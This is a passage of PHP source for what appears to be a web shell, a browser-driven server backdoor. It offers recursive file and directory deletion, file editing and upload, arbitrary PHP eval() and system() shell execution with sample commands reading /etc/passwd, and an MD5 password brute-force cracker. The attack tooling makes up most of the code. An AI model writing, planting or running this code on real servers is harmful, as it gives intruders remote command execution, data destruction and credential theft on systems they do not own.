"; echo "".mm("DELETE")." ".mm("DIR")." $df ...
"; rmdir("$df/$file"); } if (!isset($c2)) exit("error dirdelete 1"); if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!"); $df="$d"; switch ($c2) { case "files": echo "

".mm("Deleting all files in")." $df ...

"; if ($dir=opendir($df)) { while (($file=readdir($dir))!==false) { if ($file=="." || $file=="..") continue; if (is_dir($df.$file)) { echo ">$file ".mm("skip").": ".filetype($df.$file)."
"; } elseif (is_file($df.$file)) { echo "$file ".mm("deleting")."..."; unlink($df.$file); echo "
"; } else { echo "$file ".mm("skip").": ".filetype($df.$file)."
"; } } } closedir($dir); $ref="$self?c=l&d=".urlencode($d); break; case "dir": echo "

".mm("Deleting all dir/files (recursive) in")." $df ...

"; dir_delete($df); $ref="$self?c=l&d=".urlencode(realpath($d."/..")); break; } //header("Location: $ref"); echo "

".mm("DONE, go back").""; break; case "copy": if (!$write_access) exitw(); if (!isset($from) || !@file_exists($from) || !@realpath($from)) exit("err# copy 1, file [$from] not found"); if (!isset($to) || strlen($to)==0) exit("err# copy 2, file [$to] not found"); echo "Copy: ....


"; if (!copy($from,$to)) { echo "
Error!

"; echo "View ".dirname($from)."

"; } else echo "".mm("DONE")."!

"; echo "View ".dirname($from)." (dir 'from')

"; echo "View ".dirname($to)." (dir 'to')

"; break; case "e": // edit if (!$write_access) exitw(); if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); echo $GLOBALS['html']; up($d,$f); echo "<<<".mm("back to directory")." >>>"; up_link($d,$f); $msg=""; if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)").")"; else fclose($fi); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)").")"; else fclose($fi); if ($msg=="") $msg="(".mm("full read/write access").")"; echo "

".mm("EDIT FILE")." $msg

"; if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied").""); echo "

"; break; case "e_submit": if (!$write_access) exitw(); if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); if (!isset($text)) exit("err# e_submit 1"); if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); if (!$fi=@fopen($d.$f,"w+")) exit("access denied"); fwrite($fi,$text); fclose($fi); Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "SAVE DONE (go back)!"; break; case "newfile_submit": if (!$write_access) exitw(); if (!isset($text) || !isset($df)) exit("err# newfile_submit 1"); if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]"); fwrite($fi,$text); fclose($fi); Header("Location: $self?c=l&d=".urlencode(dirname($df))); echo "SAVE NEW FILE DONE (go back)!"; break; case "fileupload_submit": if (!$write_access) exitw(); if (!isset($df)) exit("err# newfile_submit 1"); if (!isset($df3)) exit("err# newfile_submit 2"); $fname=""; if (isset($df2)) { if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) { exit("Upload failed: can't detect file name"); } $fname=$ok[1]; } else { $fname=$df3; } if ($fname=="") exit("".mm("You mast checked 'create file name automatic' OR typed file name!").""); if (isset($df4)) $fname=strtolower($fname); echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']."
"; echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']."
"; echo "File size: ".$HTTP_POST_FILES['userfile']['size']."
"; if ($df[strlen($df)-1]!="/") $df.="/"; echo "".mm("SAVING TO").": $df$fname

"; ob(); $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname"); obb(); if (!$ok) exit("".mm("Sorry, access denied")." $obb"); if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); Header("Location: $ref"); echo "NEW FILE SAVED"; break; case "newdir_submit": if (!$write_access) exitw(); if (!isset($df)) exit("err# newdir_submit 1"); ob(); if (!mkdir($df,$mkdir_mode)) { obb(); exit("Access denied $obb"); } obb(); if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); Header("Location: $ref"); echo "Go to new directory!"; break; case "t": echo "

START PAGE | Eval/Shell | Character map

"; if (!$write_access) exitw(); error_reporting(2038); if (!isset($php)) { $php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */"; $skipphp=1; $pre='checked'; $nlbr=''; $xmp=''; $htmls='checked'; } echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
     

"; if (!isset($shell)) $skipshell=1; if (!isset($skipphp)) { echo "


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; if ($pre<>'') echo "
";
      if ($xmp<>'') echo "";
      if ($nlbr<>'' || $htmls<>'') {
         ob_start();
      }
      if ($phpeval_access) eval($php);
      else die("Sorry, function eval() disabled.");
      if ($nlbr<>'' || $htmls<>'') {
         $tmp=ob_get_contents();
         ob_end_clean(); 
         if ($htmls<>'') $tmp=htmlspecialchars($tmp);
         if ($nlbr<>'') $tmp=nl2br($tmp);
         echo $tmp;
      }
      if ($xmp<>'') echo "";
      if ($pre<>'') echo "
"; echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; echo "

"; } if (!isset($shell)) { $shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a"; $skipshell=1; } echo "

".mm("Shell commands")."


"; if (!isset($skipshell)) { echo "


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; if ($system_access) system($shell); else die("Sorry, function system() disabled."); echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
"; } $ttype=array(1=>"MD5",7=>"Decode MD5 (password crack)
", 2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes", 5=>"Decode Base64
", 6=>"UnixTime=>Date(".time().")", 8=>"MKtime: YYYY MM DD [hh [mm [ss]]]
", 9=>"Translit=>RusText", 14=>"RusText=>Translit
", 10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=>cp1251", 15=>"koi8r=>mac",16=>"mac=>koi8r", ); echo "

".mm("Universal convert").""; echo "

"; foreach ($ttype as $k=>$v) echo "   "; echo "

"; $russtr1="QWERTYUIOPASDFGHJKLZCVBNMqwertyuiopasdfghjklzcvbnm'#"; $russtr2="КВЕРТЫУИОПАСДФГХЙКЛЗЦВБНМквертыуиопасдфгхйклзцвбнмьъ"; function from_translit($ss) { global $russtr1,$russtr2; $w=array("Sch",'Щ',"SCH",'Щ',"ScH",'Щ',"SCh",'Щ',"sch",'щ',"Jo",'Ё',"JO",'Ё',"jo",'ё', "Zh",'Ж',"ZH",'Ж',"zh",'ж',"Ch",'Ч',"CH",'Ч',"ch",'ч',"Sh",'Ш',"SH",'Ш',"sh",'ш', "##",'Ъ',"''",'Ь',"Eh",'Э',"EH",'Э',"eh",'э',"Ju",'Ю',"JU",'Ю',"ju",'ю',"Yu",'Ю', "YU",'Ю',"yu",'ю',"YA","Я","Ya","Я","ya","я","Ja",'Я',"JA",'Я',"ja",'я'); $c=count($w); for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss); $ss=strtr($ss,$russtr1,$russtr2); $ss=preg_replace("!([а-я]+)~([а-я]+)!is","\\1\\2",$ss); return $ss; } function to_translit($ss) { global $russtr1,$russtr2; return strtr($ss,$russtr2,$russtr1); } if (isset($convert)) { if (!isset($name)) $name="0"; $out=""; switch ($name) { case 1: $out=md5($convert); break; case 2: $out=base64_encode($convert); break; case 3: $out=chunk_split(base64_encode($convert)); break; case 4: $out=base64_encode($convert); $out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2); break; case 5: $out=base64_decode($text); breal; case 6: $convert=intval($convert); if ($convert==0) $convert=time(); $out="Unixtime=$convert\n---Day/Month/Year--\n". date("d/m/Y H:i:s",$convert)."\n". date("d-m-Y H:i:s",$convert)."\n". date("d.m.Y H:i:s",$convert)."\n". "---Month/Day/Year--\n". date("m/d/Y H:i:s",$convert)."\n". date("m-d-Y H:i:s",$convert)."\n". date("m.d.Y H:i:s",$convert)."\n". "---------SQL-------\n". date("Y-m-d H:i:s",$convert)."\n". date("Y m d H i s",$convert)."\n". date("YmdHis",$convert); break; case 8: $c=explode(" ",trim(preg_replace("! +!"," ",$convert))); if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or 2000 12 31 12 59 59"; else { if (empty($c[0])) $c[0]=1970; if ($c[0]<50) $c[0]=2000+$c[0]; if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0]; if (empty($c[1])) $c[1]=1; if (empty($c[2])) $c[2]=1; if (empty($c[3])) $c[3]=0; if (empty($c[4])) $c[4]=0; if (empty($c[5])) $c[5]=0; $out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]); } break; case 9: $out=from_translit($convert); break; case 14: $out=to_translit($convert); break; case 10: $out=convert_cyr_string($convert,'w','k'); break; case 11: $out=convert_cyr_string($convert,'k','w'); break; case 12: $out=convert_cyr_string($convert,'w','m'); break; case 13: $out=convert_cyr_string($convert,'m','w'); break; case 15: $out=convert_cyr_string($convert,'k','m'); break; case 16: $out=convert_cyr_string($convert,'m','k'); break; case 7: echo ""; break; case 0: $out="Please select anythink function in list. Example: type 'test' and select 'md5'. Then click 'Submit'."; break; default: $out='Sorry, this function not work (try new versions)'; } echo "


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
$out
\n\n\n\n\n\n\n\n\n
"; } break; case "md5crack": echo "

Decode MD5 (home|md5)

"; if (!isset($go)) { if (!isset($fullqty)) $fullqty=""; if (!isset($fulltime)) $fulltime=""; if (!isset($php)) $php=""; if (!isset($from)) $from=""; echo "STRING: (only 32 char: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f)"; echo "

Range:
"; $chars=array( 'a-z'=>"abcdefghijklmnopqrstuvwxyz", 'a-z,A-Z'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 'a-z,0-9'=>"abcdefghijklmnopqrstuvwxyz0123456789", 'a-z,A-Z,0-9'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", 'a-z,A-Z,0-9,other'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\"'\\"); $i=0; foreach ($chars as $k=>$v) { echo " $k   "; $i++; } echo "

Start from:

"; } else { function mdgetword() { global $php,$from,$word; $word=""; for ($i=0; $i
md5('')=$text

(try empty string, 0 bytes!)"); } $phplen=strlen($php); mdgetword(); $poslen=strlen($word); if ($pos<0 || $pos>=$poslen) $pos=0; echo "

Save this link - click for break and save current position

"; flush(); echo " MD5_HASH=$text
CURRENT_WORD=$word
CURRENT_DIGIT=$pos:".implode(",",$from)."
RANGE=".htmlspecialchars($php)."
ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)
Calculation(qty)={$fullqty}0000

"; flush(); for ($i=0; $i<1000; $i++) { echo ""; flush(); } $fullsum=pow($phplen,$poslen); $time1=time(); $i=0; while (1) { $i++; if ($i>20000) { $time=time()-$time1; if ($time>22) break; $i=0; $sum=0; for ($j=1; $j%02.2f%% ($word) %02dsec | \r\n", $sum*100/$fullsum,$time); flush(); $fullqty+=2; } if (md5($word)===$text) exit("

** DONE **

[$word]=[$text] "); $from[$pos]++; if ($from[$pos]==$phplen) { $flag=1; $from[$pos]=0; $word[$pos]=$php[0]; for ($pos=$pos+1; $pos<$poslen; $pos++) { if ($from[$pos]+1<$phplen) { $from[$pos]++; $word[$pos]=$php[$from[$pos]]; $flag=0; $pos=0; break; } else { $from[$pos]=0; $word[$pos]=$php[0]; } } if ($flag) { $from[]=0; $poslen=count($from); $word.=$php[0]; $pos=0; $fullsum=pow($phplen,$poslen); } } $word[$pos]=$php[$from[$pos]]; } $fulltime+=time()-$time1; if ($i>5000) $fullqty++; $url="$self?c=md5crack". "&from=".urlencode("$pos:".implode(",",$from)). "&text=".urlencode($text). "&php=".urlencode($php). "&fulltime=$fulltime&fullqty=$fullqty&go=1"; echo "click here"; } break; case "phpinfo": phpinfo(); break; case "codes": error_reporting(2039); if (!isset($limit)) $limit=999; if (!isset($fontsize)) $fontsize="300%"; echo "

START PAGE | Eval/Shell | Character map

"; echo "

".mm("Character map (symbol codes table)")."

".mm("or type other")." . ".mm("Font size").": .
".mm("Code limit").":

"; if (!isset($fontname)) break; if (!empty($fontname2)) $fontname=$fontname2; echo " "; ?> "; break; case "img": unset($img); $img=array( 'dir'=> 'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'. '/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=', 'fon'=> 'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'. '6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'. 'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'. 'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'. 'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'. '8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'. 'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'. 'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'. 'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'. 'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'. 'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'. '4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'. 'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'. 'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7', 'mode'=> 'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'. '2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'. 'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=', 'refresh'=> 'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'. 'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'. '3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'. 'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=', 'search'=> 'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'. '/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'. 's5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'. 'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'. 'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==', 'setup'=> 'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'. 'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'. 'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'. 'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'. 'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==', 'up'=> 'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'. '+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'. 'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==', 'sort_asc'=> 'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'. 'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==', 'sort_desc'=> 'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'. 'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=', 'exe'=> 'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'. 'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'. 'xhIAOw==', 'html'=> 'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'. 'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'. 'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'. 'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'. 'ADs=', 'txt'=> 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'. 'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'. 'UpPWG3Ig6Hq/XmRjuZwkAAA7', 'unk'=> 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'. 'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'. 'yUzYbJao6npVkQQAOw==', 'php'=> 'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'. '7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'. 'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'. 'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==', 'img'=> 'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'. 'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'. 'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'. 'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==', 'edit'=> 'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'. 'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'. 'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==', 'papki'=> 'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'. 'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'. 'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==', 'home'=> 'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'. 'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'. 'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'. 'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=', 'back'=> 'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'. 'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'. 'Wg0JADs=' ); header("Content-type: image/gif"); header("Cache-control: public"); // /* header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); // */ echo base64_decode($img[$name]); break; } ?>